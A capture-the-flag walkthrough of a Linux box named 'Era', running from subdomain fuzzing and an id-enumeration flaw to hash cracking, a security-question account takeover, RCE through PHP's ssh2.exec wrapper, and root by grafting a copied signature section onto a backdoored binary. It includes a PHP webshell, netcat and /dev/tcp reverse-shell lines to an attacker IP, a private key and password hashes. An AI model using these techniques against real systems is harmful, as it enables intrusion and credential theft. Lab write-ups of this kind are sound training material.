29 November 2025

Era

by 0xW1LD

Era Image

Enumeration

Scans

As usual we start off with an nmap scan.

1
2
3
4
5
6
7
8
9
PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 63 vsftpd 3.0.5
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title: Era Designs
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 0309B7B14DF62A797B431119ADB37B14
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Interestingly we have only two ports, not one of which is ssh which means we’ll have to work with whatever shell we can get.

Looking around this seems to just be a static site with nothing we can use to interact with the backend directly.

Let’s start fuzzing, I usually fuzz subdomains first.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ffuf -u http://era.htb -H "Host: FUZZ.era.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt

        / ___\  / ___\           / ___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/
                                      
       v2.1.0-dev                                                                                        
________________________________________________
                                                                                                         
 :: Method           : GET                     
 :: URL              : http://era.htb         
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.era.htb    
 :: Follow redirects : false                
 :: Calibration      : false               
 :: Timeout          : 10                 
 :: Threads          : 40                
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500          
________________________________________________ 
                                                
forum                   [Status: 302, Size: 154, Words: 4, Lines: 8, Duration: 305ms]
pop3                    [Status: 302, Size: 154, Words: 4, Lines: 8, Duration: 305ms]
smtp                    [Status: 302, Size: 154, Words: 4, Lines: 8, Duration: 304ms]
vpn                     [Status: 302, Size: 154, Words: 4, Lines: 8, Duration: 306ms]
www                     [Status: 302, Size: 154, Words: 4, Lines: 8, Duration: 304ms]

Looks like we get redirected back to the main site if the subdomain vhost doesn’t exist.

1
2
3
4
5
6
7
8
curl http://era.htb -H "Host: forum.era.htb" -I
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 27 Jul 2025 03:38:48 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://era.htb/

Let’s filter out this status code and try again.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
ffuf -u http://era.htb -H "Host: FUZZ.era.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 302

        / ___\  / ___\           / ___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://era.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.era.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 302
________________________________________________

file                    [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 302ms]

Era Storage

Let’s add this subdomain to our hosts file and take a look. Era Storage Homepage

Looks like we’ve discovered a custom file upload platform. If we try anything we are redirected to a login page. Era Storage login page

However, there’s no direct way to register an account, let’s start directory fuzzing.

I’ve done a few runs to find out which filters work best, I decided to filter codes 404 and a size of 6765 which would just be the size of the home page in case a page didn’t exist. :{:.info}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
ffuf -u http://file.era.htb/FUZZ -e .php -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-directories.txt -mc all -fc 404 -fs 6765

        / ___\  / ___\           / ___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://file.era.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-directories.txt
 :: Extensions       : .php 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response status: 404
 :: Filter           : Response size: 6765
________________________________________________

images                  [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 305ms]
login.php               [Status: 200, Size: 9214, Words: 3701, Lines: 327, Duration: 304ms]
register.php            [Status: 200, Size: 3205, Words: 1094, Lines: 106, Duration: 305ms]
logout.php              [Status: 200, Size: 70, Words: 6, Lines: 1, Duration: 305ms]
download.php            [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 301ms]
files                   [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 300ms]
assets                  [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 305ms]
upload.php              [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 303ms]
manage.php              [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 296ms]
layout.php              [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 299ms]
LICENSE                 [Status: 200, Size: 34524, Words: 5707, Lines: 663, Duration: 299ms]
reset.php               [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 297ms]

Visiting register we’re able to access a User Registration page, let’s Register a user. Era Storage Hidden Registration Page

Logging in after registering we’re able to enter a File Management Dashboard. Era Storage File Management Dashboard

Clicking on Upload Files redirects us to the Upload page. Era Storage Upload page

Let’s write a simple php webshell and test whether we can upload and execute it.

1
<?php system($_GET["c"])?>

After uploading we can see that we’re given a download link with an id rather than a link to the file itself. Era Storage first upload

Visiting the download link we’re given we’re told that our download is ready. Era Storage Download link

We can click on the icon and it directs us to the same page with the parameter dl=true which then allows us to download the file. Let’s start a fuzz for the id parameter.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ffuf -u 'http://file.era.htb/download.php?id=FUZZ' -H "Cookie: PHPSESSID=1edeuoel589erdsddiliji3rb0" -w /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt -fs 7686

        / ___\  / ___\           / ___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://file.era.htb/download.php?id=FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt
 :: Header           : Cookie: PHPSESSID=1edeuoel589erdsddiliji3rb0
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 7686
________________________________________________

0054                    [Status: 200, Size: 6380, Words: 2552, Lines: 222, Duration: 313ms]
0150                    [Status: 200, Size: 6367, Words: 2552, Lines: 222, Duration: 1107ms]

We’ve got 2 hits: 0054 and 0150.

User

Signing Files

Taking a look at the files we’ve just downloaded we find the following in signing

1
2
3
4
5
6
ls -la
total 16
drwxrwxr-x 2 kali kali 4096 Jul 27 00:12 .
drwxrwxr-x 5 kali kali 4096 Jul 27 00:12 ..
-rw------- 1 kali kali 2949 Jan 25 21:09 key.pem
-rw-rw-r-- 1 kali kali  355 Jan 25 21:09 x509.genkey

The key.pem file looks like a key + cert file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCqKH30+RZjkxiV
JMnuB6b1dDbWUaw3p2QyQvWMbFvsi7zG1kE2LBrKjsEyvcxo8m0wL9feuFiOlciD
MamELMAW0UjMyew01+S+bAEcOawH81bVahxNkA4hHi9d/rysTe/dnNkh08KgHhzF
mTApjbV0MQwUDOLXSw9eHd+1VJClwhwAsL4xdk4pQS6dAuJEnx3IzNoQ23f+dPqT
CMAAWST67VPZjSjwW1/HHNi12ePewEJRGB+2K+YeGj+lxShW/I1jYEHnsOrliM2h
ZvOLqS9LjhqfI9+Q1RxIQF69yAEUeN4lYupa0Ghr2h96YLRE5YyXaBxdSA4gLGOV
HZgMl2i/AgMBAAECggEALCO53NjamnT3bQTwjtsUT9rYOMtR8dPt1W3yNX2McPWk
wC2nF+7j+kSC0G9UvaqZcWUPyfonGsG3FHVHBH75S1H54QnGSMTyVQU+WnyJaDyS
+2R9uA8U4zlpzye7+LR08xdzaed9Nrzo+Mcuq7DTb7Mjb3YSSAf0EhWMyQSJSz38
nKOcQBQhwdmiZMnVQp7X4XE73+2Wft9NSeedzCpYRZHrI820O+4MeQrumfVijbL2
xx3o0pnvEnXiqbxJjYQS8gjSUAFCc5A0fHMGmVpvL+u7Sv40mj/rnGvDEAnaNf+j
SlC9KdF5z9gWAPii7JQtTzWzxDinUxNUhlJ00df29QKBgQDsAkzNjHAHNKVexJ4q
4CREawOfdB/Pe0lm3dNf5UlEbgNWVKExgN/dEhTLVYgpVXJiZJhKPGMhSnhZ/0oW
gSAvYcpPsuvZ/WN7lseTsH6jbRyVgd8mCF4JiCw3gusoBfCtp9spy8Vjs0mcWHRW
PRY8QbMG/SUCnUS0KuT1ikiIYwKBgQC4kkKlyVy2+Z3/zMPTCla/IV6/EiLidSdn
RHfDx8l67Dc03thgAaKFUYMVpwia3/UXQS9TPj9Ay+DDkkXsnx8m1pMxV0wtkrec
pVrSB9QvmdLYuuonmG8nlgHs4bfl/JO/+Y7lz/Um1qM7aoZyPFEeZTeh6qM2s+7K
kBnSvng29QKBgQCszhpSPswgWonjU+/D0Q59EiY68JoCH3FlYnLMumPlOPA0nA7S
4lwH0J9tKpliOnBgXuurH4At9gsdSnGC/NUGHII3zPgoSwI2kfZby1VOcCwHxGoR
vPqt3AkUNEXerkrFvCwa9Fr5X2M8mP/FzUCkqi5dpakduu19RhMTPkdRpQKBgQCJ
tU6WpUtQlaNF1IASuHcKeZpYUu7GKYSxrsrwvuJbnVx/TPkBgJbCg5ObFxn7e7dA
l3j40cudy7+yCzOynPJAJv6BZNHIetwVuuWtKPwuW8WNwL+ttTTRw0FCfRKZPL78
D/WHD4aoaKI3VX5kQw5+8CP24brOuKckaSlrLINC9QKBgDs90fIyrlg6YGB4r6Ey
4vXtVImpvnjfcNvAmgDwuY/zzLZv8Y5DJWTe8uxpiPcopa1oC6V7BzvIls+CC7VC
hc7aWcAJeTlk3hBHj7tpcfwNwk1zgcr1vuytFw64x2nq5odIS+80ThZTcGedTuj1
qKTzxN/SefLdu9+8MXlVZBWj
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDajCCAlKgAwIBAgIUbWNKqYHhk6HkSMUgX/ebhOa29QswDQYJKoZIhvcNAQEL
BQAwTzERMA8GA1UECgwIRXJhIEluYy4xGTAXBgNVBAMMEEVMRiB2ZXJpZmljYXRp
b24xHzAdBgkqhkiG9w0BCQEWEHl1cml2aWNoQGVyYS5jb20wIBcNMjUwMTI2MDIw
OTM1WhgPMjEyNTAxMDIwMjA5MzVaME8xETAPBgNVBAoMCEVyYSBJbmMuMRkwFwYD
VQQDDBBFTEYgdmVyaWZpY2F0aW9uMR8wHQYJKoZIhvcNAQkBFhB5dXJpdmljaEBl
cmEuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqih99PkWY5MY
lSTJ7gem9XQ21lGsN6dkMkL1jGxb7Iu8xtZBNiwayo7BMr3MaPJtMC/X3rhYjpXI
gzGphCzAFtFIzMnsNNfkvmwBHDmsB/NW1WocTZAOIR4vXf68rE3v3ZzZIdPCoB4c
xZkwKY21dDEMFAzi10sPXh3ftVSQpcIcALC+MXZOKUEunQLiRJ8dyMzaENt3/nT6
kwjAAFkk+u1T2Y0o8FtfxxzYtdnj3sBCURgftivmHho/pcUoVvyNY2BB57Dq5YjN
oWbzi6kvS44anyPfkNUcSEBevcgBFHjeJWLqWtBoa9ofemC0ROWMl2gcXUgOICxj
lR2YDJdovwIDAQABozwwOjAMBgNVHRMBAf8EAjAAMAsGA1UdDwQEAwIHgDAdBgNV
HQ4EFgQU/XYF/LzWBMr+NhZw/PHUlQHb0s0wDQYJKoZIhvcNAQELBQADggEBAAzE
eNQxIJH6Z8vOvP8g1OoyD0Ot9E8U/PdxlM7QWqk9qcH0xyQZqg7Ee5L/kq4y/1i1
ZxAPlBfOUx4KhZgWVkStfvut0Ilg3VSXVntPPRi8WAcDV5nivYtphv16ZQkaclFy
dN0mYQc2NlqDv+y5FKnGbkioRUVGGmkIqeaT4HIUA2CFRnTr2Jao0TwAIG0jfpov
+y/t2WhUNto9L04vcD3ZAzuEPZnqs/L9rsoDZ1Ee3DxnOC7l3PkklaIiDrXiHAkd
Nrg7N9XCeQr0FUS0xLMBMVCEJT2TCo6lXKtcI5A5FgAcyECDzkw+HdgSYFPaoYJq
5rxH+xhuDqRDr941Sg4=
-----END CERTIFICATE-----

x509.genkey has more useful information, specifically, an email address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[ req ]
default_bits = 2048
distinguished_name = req_distinguished_name
prompt = no
string_mask = utf8only
x509_extensions = myexts

[ req_distinguished_name ]
O = Era Inc.
CN = ELF verification
emailAddress = yurivich@era.com

[ myexts ]
basicConstraints=critical,CA:FALSE
keyUsage=digitalSignature
subjectKeyIdentifier=hash
authorityKeyIdentifier=keyid

Site Backup

We have the following files in site-backup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
total 836
drwxrwxr-x 6 kali kali   4096 Jul 27 00:17 .
drwxrwxr-x 5 kali kali   4096 Jul 27 00:12 ..
-rw-r--r-- 1 kali kali  23359 Jun 29 12:29 bg.jpg
drwxr-xr-x 3 kali kali   4096 Jun 29 12:23 css
-rw-r--r-- 1 kali kali   2540 Jun 29 12:29 download.php
-rw-r--r-- 1 kali kali  20480 Jun 29 12:20 filedb.sqlite
drwxr-xr-x 2 kali kali   4096 Dec 15  2024 files
-rw-r--r-- 1 kali kali   2221 Jun 29 12:29 functions.global.php
-rw-r--r-- 1 kali kali   1570 Jun 29 12:29 index.php
-rw-r--r-- 1 kali kali   7293 Jun 29 12:29 initial_layout.php
-rw-r--r-- 1 kali kali   7222 Jun 29 12:29 layout_login.php
-rw-r--r-- 1 kali kali   7959 Jun 29 12:29 layout.php
-rw-r--r-- 1 kali kali  34524 Jun 29 12:29 LICENSE
-rw-r--r-- 1 kali kali   5729 Jun 29 12:29 login.php
-rw-r--r-- 1 kali kali    248 Jun 29 12:29 logout.php
-rw-r--r-- 1 kali kali 113289 Jun 29 12:29 main.png
-rw-r--r-- 1 kali kali  11937 Jun 29 12:29 manage.php
-rw-r--r-- 1 kali kali   5149 Jun 29 12:29 register.php
-rw-r--r-- 1 kali kali   4916 Jun 29 12:29 reset.php
drwxr-xr-x 6 kali kali   4096 Jun 29 12:23 sass
-rw-r--r-- 1 kali kali  92890 Jun 29 12:29 screen-download.png
-rw-r--r-- 1 kali kali  97427 Jun 29 12:29 screen-login.png
-rw-r--r-- 1 kali kali  85428 Jun 29 12:29 screen-main.png
-rw-r--r-- 1 kali kali 170600 Jun 29 12:29 screen-manage.png
-rw-r--r-- 1 kali kali  87742 Jun 29 12:29 screen-upload.png
-rw-r--r-- 1 kali kali   7580 Jun 29 12:29 security_login.php
-rw-r--r-- 1 kali kali   6943 Jun 29 12:29 upload.php
drwxr-xr-x 2 kali kali   4096 Jun 29 12:23 webfonts

Given the most interesting thing here is the filedb.sqlite database. Let’s take a look.

1
2
3
4
5
6
7
8
9
10
11
12
sqlite3 filedb.sqlite 
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
files  users
sqlite> select * from users;
1|admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC|600|Maria|Oliver|Ottawa
2|eric|$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm|-1|||
3|veronica|$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK|-1|||
4|yuri|$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.|-1|||
5|john|$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6|-1|||
6|ethan|$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC|-1|||

We can see a list of users and hashed passwords. Checking hashid I find I can use mode 3200 to attempt to crack them.

1
2
3
4
5
hashid '$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC' -m
Analyzing '$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC'
[+] Blowfish(OpenBSD) [Hashcat Mode: 3200]
[+] Woltlab Burning Board 4.x 
[+] bcrypt [Hashcat Mode: 3200]

Let’s try to crack them with hashcat.

1
2
3
4
hashcat -m 3200 -a 0 --username hashes.txt /usr/share/wordlists/rockyou.txt
<SNIP>
eric:$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm:america
yuri:$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.:mustang

Success! We find two sets of credentials.

Taking a look at the Download functionality we can find some interesting parameters.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$fileName = str_replace("files/", "", $fetched[0]);


        // Allow immediate file download
        if ($_GET['dl'] === "true") {

                header('Content-Type: application/octet-stream');
                header("Content-Transfer-Encoding: Binary");
                header("Content-disposition: attachment; filename=\"" .$fileName. "\"");
                readfile($fetched[0]);
        // BETA (Currently only available to the admin) - Showcase file instead of downloading it
        } elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
                $format = isset($_GET['format']) ? $_GET['format'] : '';
                $file = $fetched[0];

                if (strpos($format, '://') !== false) {
                        $wrapper = $format;
                        header('Content-Type: application/octet-stream');
                } else {
                        $wrapper = '';
                        header('Content-Type: text/html');
                }

                try {
                        $file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
                        $full_path = $wrapper ? $wrapper . $file : $file;
                        // Debug Output
                        echo "Opening: " . $full_path . "\n";
                        echo $file_content;
                } catch (Exception $e) {
                        echo "Error reading file: " . $e->getMessage();
                }


        // Allow simple download
        } else {
                echo deliverTop("Era - Download");
                echo deliverMiddle_download("Your Download Is Ready!", $fileName, '<a href="download.php?id='.$_GET['id'].'&dl=true"><i class="fa fa-download fa-5x"></i></a>');

Some interesting parameters we can find include:

We can find apache2_conf and php8.1_conf directories.

1
2
3
4
5
ftp> ls
229 Entering Extended Passive Mode (|||22439|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jul 22 08:42 apache2_conf
drwxr-xr-x    3 0        0            4096 Jul 22 08:42 php8.1_conf

Apache Conf

We can find the following files in the apache2_conf folder

1
2
3
4
5
6
7
total 28
drwxrwxr-x 2 kali kali 4096 Jul 27 00:37 .
drwxrwxr-x 7 kali kali 4096 Jul 27 00:37 ..
-rw-rw-r-- 1 kali kali 1332 Dec  7  2024 000-default.conf
-rw-rw-r-- 1 kali kali 7224 Dec  7  2024 apache2.conf
-rw-rw-r-- 1 kali kali  222 Dec 12  2024 file.conf
-rw-rw-r-- 1 kali kali  320 Dec  7  2024 ports.conf

Looking around we can find the following information:

WebRoot

Most interestingly we see ssh2 wrapper which if we take a look around we can find has an exec channel. PHP SSH2 WRAPPER

Admin Access

Let’s login to Era Storage as eric using his credentials and let’s try to Update Security Questions for admin_ef01cab31aa. Updating Admin Security Questions

Now let’s head over to Security Login and attempt to login with the updated security questions. Security Login admin

Success! We get access as admin

Remote Code Execution

Let’s attempt to use the ssh2 wrapper which we have identified earlier. First, let’s setup a listener.

1
nc -lvnp 9001

Next up, let’s create a url using the format parameter and ensuring the show parameter is set to true.

1
http://file.era.htb/download.php?id=150&show=true&format=ssh2.exec://yuri:mustang@localhost:22/whoami%20|%20nc%2010.10.14.158%209001;

Taking a look back at our listener it looks like we have a call back!

1
2
connect to [10.10.14.158] from (UNKNOWN) [10.129.137.43] 46844
yuri

Let’s now use the RCE method of our choice and put it in a sh file and upload that file. Lin file upload

Next let’s now run the file through the ssh2.exec wrapper.

1
http://file.era.htb/download.php?id=150&show=true&format=ssh2.exec://yuri:mustang@localhost:22/bash /var/www/file/files/lin.sh;

And if we now take a look at our listener.

1
2
3
4
connect to [10.10.14.158] from (UNKNOWN) [10.129.137.43] 53698
bash: cannot set terminal process group (7711): Inappropriate ioctl for device
bash: no job control in this shell
yuri@era:~$

Looking around we can find eric as a user, let’s swap to him

1
2
3
4
5
6
7
8
9
10
11
12
13
yuri@era:~$ su eric
Password: 
eric@era:/home/yuri$ cd ~
eric@era:~$ ls -la
total 28
drwxr-x--- 5 eric eric 4096 Jul 22 08:42 .
drwxr-xr-x 4 root root 4096 Jul 22 08:42 ..
lrwxrwxrwx 1 root root    9 Jul  2 09:15 .bash_history -> /dev/null
-rw-r--r-- 1 eric eric 3771 Jan  6  2022 .bashrc
drwx------ 2 eric eric 4096 Sep 17  2024 .cache
drwxrwxr-x 3 eric eric 4096 Jul 22 08:42 .local
drwx------ 2 eric eric 4096 Sep 17  2024 .ssh
-rw-r----- 1 root eric   33 Jul 27 03:29 user.txt

Just like that, we have User!

Root

Enumeration

Looking around as eric we can find that we’re in the devs group.

1
2
eric@era:~$ id
uid=1000(eric) gid=1000(eric) groups=1000(eric),1001(devs)

Looking for files we can find the directory /opt/AV

1
2
3
4
5
6
7
8
9
10
eric@era:~$ find / -group devs 2>/dev/null
/opt/AV
/opt/AV/periodic-checks
/opt/AV/periodic-checks/monitor
/opt/AV/periodic-checks/status.log
eric@era:~$ ls -lash /opt/AV
total 12K
4.0K drwxrwxr-- 3 root devs 4.0K Jul 22 08:42 .
4.0K drwxrwxr-x 3 root root 4.0K Jul 22 08:42 ..
4.0K drwxrwxr-- 2 root devs 4.0K Jul 27 05:40 periodic-checks

Looking inside we can find a monitor binary and a log file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
eric@era:/opt/AV/periodic-checks$ ls -la        
total 32                                                   
drwxrwxr-- 2 root devs  4096 Jul 27 05:40 .
drwxrwxr-- 3 root devs  4096 Jul 22 08:42 ..
-rwxrw---- 1 root devs 16544 Jul 27 05:40 monitor
-rw-rw---- 1 root devs   205 Jul 27 05:40 status.log
eric@era:/opt/AV/periodic-checks$ file monitor
monitor: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=45a4bb1db5df48dcc085cc062103da3761dd8eaf, for GNU/Linux 3.2.0, not stripped
eric@era:/opt/AV/periodic-checks$ cat status.log
                                                                   
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.

Transferring over and running pspy we can find some interesting processes being run.

1
2
3
4
2025/07/27 05:50:01 CMD: UID=0     PID=8149   | chmod u+x /opt/AV/periodic-checks/monitor 
2025/07/27 05:50:01 CMD: UID=0     PID=8150   | /bin/bash /root/initiate_monitoring.sh 
2025/07/27 05:50:01 CMD: UID=0     PID=8151   | /bin/bash /root/clean_monitor.sh 
2025/07/27 05:50:01 CMD: UID=0     PID=8152   | /bin/bash /root/initiate_monitoring.sh

Looks like the system is constantly running the binary, but we can’t easily replace it since it’s signed.

Exploitation

Let’s create a malicious executable file using the following c code.

1
2
3
4
5
6
#include <stdlib.h>

int main() {
	system("bash -c 'bash -i >& /dev/tcp/10.10.14.158/9001' 0>&1"); //Executes a reverse shell
	return 0;
}

Now let’s compile this file.

1
gcc w1ld.c -static -o w1ld

Next let’s use objcopy to dump monitor’s signature into a file of our choice.

1
objcopy --dump-section .text_sig=w1ld_sig.bin /opt/AV/periodic-checks/monitor

Next let’s use objcopy to add a section to our binary containing the signature data.

1
objcopy --add-section .text_sig=w1ld_sig.bin /opt/AV/periodic-checks/w1ld

Lastly let’s move the binary to replace the monitor binary.

1
mv monitor monitor.bak && mv w1ld monitor

Now if we wait for a while we get a call back on our listener!

1
root@era:~# 

Just like that, we have Root!

tags: os/linux - diff/medium